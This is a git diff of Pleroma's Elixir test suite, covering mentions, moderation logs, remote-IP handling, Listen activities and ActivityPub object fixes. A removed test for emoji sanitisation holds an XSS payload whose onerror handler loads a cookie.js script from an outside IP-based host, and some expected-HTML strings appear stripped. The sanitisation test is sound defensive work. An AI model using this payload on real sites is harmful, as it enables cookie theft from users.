archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + expected_mentions = [ + {"@archaeme", archaeme}, + {"@archaeme@archae.me", archaeme_remote}, + {"@gsimg", gsimg}, + {"@jimm", jimm}, + {"@o", o} + ] + + assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + end end describe ".parse_tags" do @@ -234,69 +263,6 @@ test "parses tags in the text" do end end - test "it can parse mentions and return the relevant users" do - text = - "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" - - o = insert(:user, %{nickname: "o"}) - jimm = insert(:user, %{nickname: "jimm"}) - gsimg = insert(:user, %{nickname: "gsimg"}) - archaeme = insert(:user, %{nickname: "archaeme"}) - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - - expected_mentions = [ - {"@archaeme", archaeme}, - {"@archaeme@archae.me", archaeme_remote}, - {"@gsimg", gsimg}, - {"@jimm", jimm}, - {"@o", o} - ] - - assert {_text, ^expected_mentions, []} = Formatter.linkify(text) - end - - test "it adds cool emoji" do - text = "I love :firefox:" - - expected_result = - "I love \"firefox\"" - - assert Formatter.emojify(text) == expected_result - end - - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => - "https://placehold.it/1x1" - } - - expected_result = - "I love \"\"" - - assert Formatter.emojify(text, custom_emoji) == expected_result - end - - test "it returns the emoji used in the text" do - text = "I love :firefox:" - - assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} - ] - end - - test "it returns a nice empty result when no emojis are present" do - text = "I love moominamma" - assert Formatter.get_emoji(text) == [] - end - - test "it doesn't die when text is absent" do - text = nil - assert Formatter.get_emoji(text) == [] - end - test "it escapes HTML in plain text" do text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" diff --git a/test/instance_static/emoji/test_pack/blank.png b/test/instance_static/emoji/test_pack/blank.png new file mode 100644 index 000000000..8f50fa023 Binary files /dev/null and b/test/instance_static/emoji/test_pack/blank.png differ diff --git a/test/instance_static/emoji/test_pack/pack.json b/test/instance_static/emoji/test_pack/pack.json new file mode 100644 index 000000000..5a8ee75f9 --- /dev/null +++ b/test/instance_static/emoji/test_pack/pack.json @@ -0,0 +1,13 @@ +{ + "pack": { + "license": "Test license", + "homepage": "https://pleroma.social", + "description": "Test description", + + "share-files": true + }, + + "files": { + "blank": "blank.png" + } +} diff --git a/test/instance_static/emoji/test_pack_for_import/blank.png b/test/instance_static/emoji/test_pack_for_import/blank.png new file mode 100644 index 000000000..8f50fa023 Binary files /dev/null and b/test/instance_static/emoji/test_pack_for_import/blank.png differ diff --git a/test/instance_static/emoji/test_pack_nonshared/nonshared.zip b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip new file mode 100644 index 000000000..148446c64 Binary files /dev/null and b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip differ diff --git a/test/instance_static/emoji/test_pack_nonshared/pack.json b/test/instance_static/emoji/test_pack_nonshared/pack.json new file mode 100644 index 000000000..b96781f81 --- /dev/null +++ b/test/instance_static/emoji/test_pack_nonshared/pack.json @@ -0,0 +1,16 @@ +{ + "pack": { + "license": "Test license", + "homepage": "https://pleroma.social", + "description": "Test description", + + "fallback-src": "https://nonshared-pack", + "fallback-src-sha256": "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF", + + "share-files": false + }, + + "files": { + "blank": "blank.png" + } +} diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs index ed7ce8fe0..63fce07bb 100644 --- a/test/integration/mastodon_websocket_test.exs +++ b/test/integration/mastodon_websocket_test.exs @@ -68,7 +68,7 @@ test "receives well formatted events" do assert {:ok, json} = Jason.decode(json["payload"]) view_json = - Pleroma.Web.MastodonAPI.StatusView.render("status.json", activity: activity, for: nil) + Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil) |> Jason.encode!() |> Jason.decode!() diff --git a/test/list_test.exs b/test/list_test.exs index ba79251da..e7b23915b 100644 --- a/test/list_test.exs +++ b/test/list_test.exs @@ -113,10 +113,10 @@ test "getting own lists a given user belongs to" do {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1) {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2) - lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1.id) + lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1) assert owned_list in lists_1 refute not_owned_list in lists_1 - lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2.id) + lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2) assert owned_list in lists_2 refute not_owned_list in lists_2 end diff --git a/test/moderation_log_test.exs b/test/moderation_log_test.exs index c78708471..a39a00e02 100644 --- a/test/moderation_log_test.exs +++ b/test/moderation_log_test.exs @@ -30,8 +30,7 @@ test "logging user deletion by moderator", %{moderator: moderator, subject1: sub log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == - "@#{moderator.nickname} deleted user @#{subject1.nickname}" + assert log.data["message"] == "@#{moderator.nickname} deleted user @#{subject1.nickname}" end test "logging user creation by moderator", %{ @@ -48,7 +47,7 @@ test "logging user creation by moderator", %{ log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}" end @@ -63,7 +62,7 @@ test "logging user follow by admin", %{admin: admin, subject1: subject1, subject log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}" end @@ -78,7 +77,7 @@ test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subje log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}" end @@ -100,8 +99,7 @@ test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject tags = ["foo", "bar"] |> Enum.join(", ") - assert ModerationLog.get_log_entry_message(log) == - "@#{admin.nickname} added tags: #{tags} to users: #{users}" + assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}" end test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do @@ -122,7 +120,7 @@ test "logging user untagged by admin", %{admin: admin, subject1: subject1, subje tags = ["foo", "bar"] |> Enum.join(", ") - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{admin.nickname} removed tags: #{tags} from users: #{users}" end @@ -137,8 +135,7 @@ test "logging user grant by moderator", %{moderator: moderator, subject1: subjec log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == - "@#{moderator.nickname} made @#{subject1.nickname} moderator" + assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator" end test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do @@ -152,7 +149,7 @@ test "logging user revoke by moderator", %{moderator: moderator, subject1: subje log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}" end @@ -166,7 +163,7 @@ test "logging relay follow", %{moderator: moderator} do log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} followed relay: https://example.org/relay" end @@ -180,7 +177,7 @@ test "logging relay unfollow", %{moderator: moderator} do log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} unfollowed relay: https://example.org/relay" end @@ -202,7 +199,7 @@ test "logging report update", %{moderator: moderator} do log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} updated report ##{report.id} with 'resolved' state" end @@ -224,7 +221,7 @@ test "logging report response", %{moderator: moderator} do log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} responded with 'look at this' to report ##{report.id}" end @@ -242,7 +239,7 @@ test "logging status sensitivity update", %{moderator: moderator} do log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'" end @@ -260,7 +257,7 @@ test "logging status visibility update", %{moderator: moderator} do log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'" end @@ -278,7 +275,7 @@ test "logging status sensitivity & visibility update", %{moderator: moderator} d log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == + assert log.data["message"] == "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'" end @@ -294,8 +291,7 @@ test "logging status deletion", %{moderator: moderator} do log = Repo.one(ModerationLog) - assert ModerationLog.get_log_entry_message(log) == - "@#{moderator.nickname} deleted status ##{note.id}" + assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}" end end end diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs new file mode 100644 index 000000000..d120c588b --- /dev/null +++ b/test/plugs/remote_ip_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Plugs.RemoteIpTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.RemoteIp + + test "disabled" do + Pleroma.Config.put(RemoteIp, enabled: false) + + %{remote_ip: remote_ip} = conn(:get, "/") + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == remote_ip + end + + test "enabled" do + Pleroma.Config.put(RemoteIp, enabled: true) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "custom headers" do + Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + refute conn.remote_ip == {1, 1, 1, 1} + + conn = + conn(:get, "/") + |> put_req_header("cf-connecting-ip", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "custom proxies" do + Pleroma.Config.put(RemoteIp, enabled: true) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") + |> RemoteIp.call(nil) + + refute conn.remote_ip == {1, 1, 1, 1} + + Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end +end diff --git a/test/support/factory.ex b/test/support/factory.ex index c14c8ddb3..b180844cd 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -71,6 +71,47 @@ def note_factory(attrs \\ %{}) do } end + def audio_factory(attrs \\ %{}) do + text = sequence(:text, &"lain radio episode #{&1}") + + user = attrs[:user] || insert(:user) + + data = %{ + "type" => "Audio", + "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(), + "artist" => "lain", + "title" => text, + "album" => "lain radio", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "published" => DateTime.utc_now() |> DateTime.to_iso8601(), + "actor" => user.ap_id, + "length" => 180_000 + } + + %Pleroma.Object{ + data: merge_attributes(data, Map.get(attrs, :data, %{})) + } + end + + def listen_factory do + audio = insert(:audio) + + data = %{ + "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), + "type" => "Listen", + "actor" => audio.data["actor"], + "to" => audio.data["to"], + "object" => audio.data, + "published" => audio.data["published"] + } + + %Pleroma.Activity{ + data: data, + actor: data["actor"], + recipients: data["to"] + } + end + def direct_note_factory do user2 = insert(:user) diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs index a9925c361..b63dcac00 100644 --- a/test/tasks/database_test.exs +++ b/test/tasks/database_test.exs @@ -77,12 +77,10 @@ test "following and followers count are updated" do assert length(following) == 2 assert info.follower_count == 0 - info_cng = Ecto.Changeset.change(info, %{follower_count: 3}) - {:ok, user} = user |> Ecto.Changeset.change(%{following: following ++ following}) - |> Ecto.Changeset.put_embed(:info, info_cng) + |> User.change_info(&Ecto.Changeset.change(&1, %{follower_count: 3})) |> Repo.update() assert length(user.following) == 4 diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index 70986374e..6d7eed4c1 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do setup do File.mkdir_p!(tmp_path()) - on_exit(fn -> File.rm_rf(tmp_path()) end) + + on_exit(fn -> + File.rm_rf(tmp_path()) + static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") + + if File.exists?(static_dir) do + File.rm_rf(Path.join(static_dir, "robots.txt")) + end + end) + :ok end diff --git a/test/user_test.exs b/test/user_test.exs index 39ba69668..126bd69e8 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -74,8 +74,8 @@ test "returns all pending follow requests" do CommonAPI.follow(follower, unlocked) CommonAPI.follow(follower, locked) - assert {:ok, []} = User.get_follow_requests(unlocked) - assert {:ok, [activity]} = User.get_follow_requests(locked) + assert [] = User.get_follow_requests(unlocked) + assert [activity] = User.get_follow_requests(locked) assert activity end @@ -90,7 +90,7 @@ test "doesn't return already accepted or duplicate follow requests" do CommonAPI.follow(accepted_follower, locked) User.follow(accepted_follower, locked) - assert {:ok, [activity]} = User.get_follow_requests(locked) + assert [activity] = User.get_follow_requests(locked) assert activity end @@ -99,10 +99,10 @@ test "clears follow requests when requester is blocked" do follower = insert(:user) CommonAPI.follow(follower, followed) - assert {:ok, [_activity]} = User.get_follow_requests(followed) + assert [_activity] = User.get_follow_requests(followed) {:ok, _follower} = User.block(followed, follower) - assert {:ok, []} = User.get_follow_requests(followed) + assert [] = User.get_follow_requests(followed) end test "follow_all follows mutliple users" do @@ -560,7 +560,7 @@ test "it sets the follower_adress" do test "it enforces the fqn format for nicknames" do cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"}) - assert cs.changes.local == false + assert Ecto.Changeset.get_field(cs, :local) == false assert cs.changes.avatar refute cs.valid? end @@ -584,7 +584,7 @@ test "gets all followers for a given user" do {:ok, follower_one} = User.follow(follower_one, user) {:ok, follower_two} = User.follow(follower_two, user) - {:ok, res} = User.get_followers(user) + res = User.get_followers(user) assert Enum.member?(res, follower_one) assert Enum.member?(res, follower_two) @@ -600,7 +600,7 @@ test "gets all friends (followed users) for a given user" do {:ok, user} = User.follow(user, followed_one) {:ok, user} = User.follow(user, followed_two) - {:ok, res} = User.get_friends(user) + res = User.get_friends(user) followed_one = User.get_cached_by_ap_id(followed_one.ap_id) followed_two = User.get_cached_by_ap_id(followed_two.ap_id) @@ -975,7 +975,7 @@ test "hide a user from followers " do info = User.get_cached_user_info(user2) assert info.follower_count == 0 - assert {:ok, []} = User.get_followers(user2) + assert [] = User.get_followers(user2) end test "hide a user from friends" do @@ -991,7 +991,7 @@ test "hide a user from friends" do assert info.following_count == 0 assert User.following_count(user2) == 0 - assert {:ok, []} = User.get_friends(user2) + assert [] = User.get_friends(user2) end test "hide a user's statuses from timelines and notifications" do @@ -1034,7 +1034,7 @@ test "hide a user's statuses from timelines and notifications" do test ".delete_user_activities deletes all create activities", %{user: user} do {:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"}) - {:ok, _} = User.delete_user_activities(user) + User.delete_user_activities(user) # TODO: Remove favorites, repeats, delete activities. refute Activity.get_by_id(activity.id) @@ -1294,9 +1294,9 @@ test "preserves hosts in user links text" do bio = "A.k.a. @nick@domain.com" expected_text = - "A.k.a. @nick@domain.com" + }" rel="ugc">@nick@domain.com) assert expected_text == User.parse_bio(bio, user) end @@ -1690,4 +1690,39 @@ test "changes email", %{user: user} do assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party") end end + + describe "set_password_reset_pending/2" do + setup do + [user: insert(:user)] + end + + test "sets password_reset_pending to true", %{user: user} do + %{password_reset_pending: password_reset_pending} = user.info + + refute password_reset_pending + + {:ok, %{info: %{password_reset_pending: password_reset_pending}}} = + User.force_password_reset(user) + + assert password_reset_pending + end + end + + test "change_info/2" do + user = insert(:user) + assert user.info.hide_follows == false + + changeset = User.change_info(user, &User.Info.profile_update(&1, %{hide_follows: true})) + assert changeset.changes.info.changes.hide_follows == true + end + + test "update_info/2" do + user = insert(:user) + assert user.info.hide_follows == false + + assert {:ok, _} = User.update_info(user, &User.Info.profile_update(&1, %{hide_follows: true})) + + assert %{info: %{hide_follows: true}} = Repo.get(User, user.id) + assert {:ok, %{info: %{hide_follows: true}}} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}") + end end diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index 9e8e420ec..1ffa91b70 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -479,7 +479,7 @@ test "it returns a note activity in a collection", %{conn: conn} do conn |> assign(:user, user) |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/inbox") + |> get("/users/#{user.nickname}/inbox?page=true") assert response(conn, 200) =~ note_object.data["content"] end @@ -567,7 +567,7 @@ test "it returns a note activity in a collection", %{conn: conn} do conn = conn |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox") + |> get("/users/#{user.nickname}/outbox?page=true") assert response(conn, 200) =~ note_object.data["content"] end @@ -579,7 +579,7 @@ test "it returns an announce activity in a collection", %{conn: conn} do conn = conn |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox") + |> get("/users/#{user.nickname}/outbox?page=true") assert response(conn, 200) =~ announce_activity.data["object"] end @@ -976,4 +976,44 @@ test "it tracks a signed activity fetch when the json is cached", %{conn: conn} assert Delivery.get(object.id, other_user.id) end end + + describe "Additionnal ActivityPub C2S endpoints" do + test "/api/ap/whoami", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> get("/api/ap/whoami") + + user = User.get_cached_by_id(user.id) + + assert UserView.render("user.json", %{user: user}) == json_response(conn, 200) + end + + clear_config([:media_proxy]) + clear_config([Pleroma.Upload]) + + test "uploadMedia", %{conn: conn} do + user = insert(:user) + + desc = "Description of the image" + + image = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + conn = + conn + |> assign(:user, user) + |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) + + assert object = json_response(conn, :created) + assert object["name"] == desc + assert object["type"] == "Document" + assert object["actor"] == user.ap_id + end + end end diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 4100108a5..a203d1d30 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -257,6 +257,42 @@ test "adds an id to a given object if it lacks one and is a note and inserts it end end + describe "listen activities" do + test "does not increase user note count" do + user = insert(:user) + + {:ok, activity} = + ActivityPub.listen(%{ + to: ["https://www.w3.org/ns/activitystreams#Public"], + actor: user, + context: "", + object: %{ + "actor" => user.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "artist" => "lain", + "title" => "lain radio episode 1", + "length" => 180_000, + "type" => "Audio" + } + }) + + assert activity.actor == user.ap_id + + user = User.get_cached_by_id(user.id) + assert user.info.note_count == 0 + end + + test "can be fetched into a timeline" do + _listen_activity_1 = insert(:listen) + _listen_activity_2 = insert(:listen) + _listen_activity_3 = insert(:listen) + + timeline = ActivityPub.fetch_activities([], %{"type" => ["Listen"]}) + + assert length(timeline) == 3 + end + end + describe "create activities" do test "removes doubled 'to' recipients" do user = insert(:user) @@ -647,6 +683,21 @@ test "retrieves ids up to max_id" do assert last == last_expected end + test "paginates via offset/limit" do + _first_activities = ActivityBuilder.insert_list(10) + activities = ActivityBuilder.insert_list(10) + _later_activities = ActivityBuilder.insert_list(10) + first_expected = List.first(activities) + + activities = + ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset) + + first = List.first(activities) + + assert length(activities) == 20 + assert first == first_expected + end + test "doesn't return reblogs for users for whom reblogs have been muted" do activity = insert(:note_activity) user = insert(:user) diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index ebed65b7c..193d6d301 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -177,6 +177,35 @@ test "it works for incoming questions" do end) end + test "it works for incoming listens" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Listen", + "id" => "http://mastodon.example.org/users/admin/listens/1234/activity", + "actor" => "http://mastodon.example.org/users/admin", + "object" => %{ + "type" => "Audio", + "id" => "http://mastodon.example.org/users/admin/listens/1234", + "attributedTo" => "http://mastodon.example.org/users/admin", + "title" => "lain radio episode 1", + "artist" => "lain", + "album" => "lain radio", + "length" => 180_000 + } + } + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + assert object.data["artist"] == "lain" + assert object.data["album"] == "lain radio" + assert object.data["length"] == 180_000 + end + test "it rewrites Note votes to Answers and increments vote counters on question activities" do user = insert(:user) @@ -1190,6 +1219,20 @@ test "it strips BCC field" do assert is_nil(modified["bcc"]) end + + test "it can handle Listen activities" do + listen_activity = insert(:listen) + + {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data) + + assert modified["type"] == "Listen" + + user = insert(:user) + + {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"}) + + {:ok, _modified} = Transmogrifier.prepare_outgoing(activity.data) + end end describe "user upgrade" do @@ -1455,4 +1498,271 @@ test "removes recipient's follower collection from cc", %{user: user} do refute recipient.follower_address in fixed_object["to"] end end + + describe "fix_summary/1" do + test "returns fixed object" do + assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""} + assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"} + assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""} + end + end + + describe "fix_in_reply_to/2" do + clear_config([:instance, :federation_incoming_replies_max_depth]) + + setup do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + [data: data] + end + + test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do + assert Transmogrifier.fix_in_reply_to(data) == data + end + + test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + object_with_reply = + Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873") + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" + assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + + object_with_reply = + Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} + assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + + object_with_reply = + Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) + + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] + assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + + object_with_reply = Map.put(data["object"], "inReplyTo", []) + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + assert modified_object["inReplyTo"] == [] + assert modified_object["inReplyToAtomUri"] == "" + end + + test "returns modified object when allowed incoming reply", %{data: data} do + object_with_reply = + Map.put( + data["object"], + "inReplyTo", + "https://shitposter.club/notice/2827873" + ) + + Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) + modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + + assert modified_object["inReplyTo"] == + "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + + assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + + assert modified_object["conversation"] == + "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" + + assert modified_object["context"] == + "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" + end + end + + describe "fix_url/1" do + test "fixes data for object when url is map" do + object = %{ + "url" => %{ + "type" => "Link", + "mimeType" => "video/mp4", + "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" + } + } + + assert Transmogrifier.fix_url(object) == %{ + "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" + } + end + + test "fixes data for video object" do + object = %{ + "type" => "Video", + "url" => [ + %{ + "type" => "Link", + "mimeType" => "video/mp4", + "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" + }, + %{ + "type" => "Link", + "mimeType" => "video/mp4", + "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4" + }, + %{ + "type" => "Link", + "mimeType" => "text/html", + "href" => "https://peertube.-2d4c2d1630e3" + }, + %{ + "type" => "Link", + "mimeType" => "text/html", + "href" => "https://peertube.-2d4c2d16377-42" + } + ] + } + + assert Transmogrifier.fix_url(object) == %{ + "attachment" => [ + %{ + "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mimeType" => "video/mp4", + "type" => "Link" + } + ], + "type" => "Video", + "url" => "https://peertube.-2d4c2d1630e3" + } + end + + test "fixes url for not Video object" do + object = %{ + "type" => "Text", + "url" => [ + %{ + "type" => "Link", + "mimeType" => "text/html", + "href" => "https://peertube.-2d4c2d1630e3" + }, + %{ + "type" => "Link", + "mimeType" => "text/html", + "href" => "https://peertube.-2d4c2d16377-42" + } + ] + } + + assert Transmogrifier.fix_url(object) == %{ + "type" => "Text", + "url" => "https://peertube.-2d4c2d1630e3" + } + + assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{ + "type" => "Text", + "url" => "" + } + end + + test "retunrs not modified object" do + assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} + end + end + + describe "get_obj_helper/2" do + test "returns nil when cannot normalize object" do + refute Transmogrifier.get_obj_helper("test-obj-id") + end + + test "returns {:ok, %Object{}} for success case" do + assert {:ok, %Object{}} = + Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873") + end + end + + describe "fix_attachments/1" do + test "returns not modified object" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.fix_attachments(data) == data + end + + test "returns modified object when attachment is map" do + assert Transmogrifier.fix_attachments(%{ + "attachment" => %{ + "mediaType" => "video/mp4", + "url" => "https://peertube.moe/stat-480.mp4" + } + }) == %{ + "attachment" => [ + %{ + "mediaType" => "video/mp4", + "url" => [ + %{ + "href" => "https://peertube.moe/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + } + end + + test "returns modified object when attachment is list" do + assert Transmogrifier.fix_attachments(%{ + "attachment" => [ + %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"}, + %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"} + ] + }) == %{ + "attachment" => [ + %{ + "mediaType" => "video/mp4", + "url" => [ + %{ + "href" => "https://pe.er/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + }, + %{ + "href" => "https://pe.er/stat-480.mp4", + "mediaType" => "video/mp4", + "mimeType" => "video/mp4", + "url" => [ + %{ + "href" => "https://pe.er/stat-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + } + end + end + + describe "fix_emoji/1" do + test "returns not modified object when object not contains tags" do + data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) + assert Transmogrifier.fix_emoji(data) == data + end + + test "returns object with emoji when object contains list tags" do + assert Transmogrifier.fix_emoji(%{ + "tag" => [ + %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}, + %{"type" => "Hashtag"} + ] + }) == %{ + "emoji" => %{"bib" => "/test"}, + "tag" => [ + %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}, + %{"type" => "Hashtag"} + ] + } + end + + test "returns object with emoji when object contains map tag" do + assert Transmogrifier.fix_emoji(%{ + "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}} + }) == %{ + "emoji" => %{"bib" => "/test"}, + "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"} + } + end + end end diff 